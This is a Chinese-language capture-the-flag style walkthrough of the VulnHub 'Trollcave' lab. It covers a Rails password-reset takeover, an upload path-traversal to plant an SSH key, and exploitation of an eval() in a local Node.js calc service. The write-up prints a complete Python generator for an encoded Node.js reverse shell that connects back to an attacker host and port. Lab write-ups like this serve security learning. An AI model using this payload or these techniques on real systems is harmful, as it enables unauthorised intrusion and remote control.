靶机渗透(trollcave)

介绍

https://www.vulnhub.com/entry/trollcave-12,230/ 第一次打到ruby的站...几乎完全不会..简单记录下吧

ip和端口

靶机ip:192.168.1.101 端口情况

web站点踩点

进去发现就是个普通的站点 注册功能关闭了,也没啥功能,dirb扫一下 进去一看发现并没有什么用,都需要登录... 注意到文章 然而去访问并没有东西 尝试用各种admin的名字去用hydra爆破ssh,但是失败了 看了wp才知道ruby的resetpassword,参考ruby on rails的教程 https://www.railstutorial.org/book/password_reset#sec-password_resets_resource 那么去访问一下 发现重置密码页面,然而并不能重置superadmin的密码,尝试重置普通用户的密码 发现后面有个name参数,我们改成King,再去重置 成功进入管理页面

getshell

进去之后发现有个文件上传的页面,但是因为admin关闭并不能使用,我们去打开一下 要是php到这里其实就很简单了,直接上传一句话就结束了,但是ruby并不是的...这里是用传ssh密钥的方式..传文件可以目录穿越,但是我们怎么知道往哪传呢?登录之后我们可以看到更多文章,比如 发现存在rails用户和coderguys用户,其实还有很多,但是尝试之后发现只有rails的用户目录有.ssh,那么写入ssh密钥,拿到shell 登录

提权

首先还是看/etc/passwd 去用户目录看下,在king的目录下看到有个calc 发现是个本地的nodejs,curl一下看下 然后审计源码,发现calc里面存在任意代码执行

1
2
3
4
5
6
7
8
function calc(pathname, request, query, response)
{
sum = query.split('=')[1];
console.log(sum)
response.writeHead(200, {"Content-Type": "text/plain"});

response.end(eval(sum).toString());
}

用到msf的代码加上魔改别人的代码写一个payload生成器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python
# Generator for encoded NodeJS reverse shells
# Based on the NodeJS reverse shell by Evilpacket
# https://github.com/evilpacket/node-shells/blob/master/node_revshell.js
# Onelineified and suchlike by infodox (and felicity, who sat on the keyboard)
# Insecurety Research (2013) - insecurety.net
import sys

if len(sys.argv) != 3:
print "Usage: %s <LHOST> <LPORT>" % (sys.argv[0])
sys.exit(0)

IP_ADDR = sys.argv[1]
PORT = sys.argv[2]


def charencode(string):
"""String.CharCode"""
encoded = ''
for char in string:
encoded = encoded + "," + str(ord(char))
return encoded[1:]

print "[+] LHOST = %s" % (IP_ADDR)
print "[+] LPORT = %s" % (PORT)
NODEJS_REV_SHELL = '''(function(){ var require = global.require global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(%s, "%s", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === "undefined") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on("error", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); })();1+1;''' % (PORT, IP_ADDR)
print "[+] Encoding"
PAYLOAD = charencode(NODEJS_REV_SHELL)
print "eval(String.fromCharCode(%s))" % (PAYLOAD)

注意后面带上1+1;让服务器有返回 然后拿到shell 然后sudo -l发现可以执行任意代码,直接拿到root 参考wp:https://hackso.me/trollcave-1.2-walkthrough/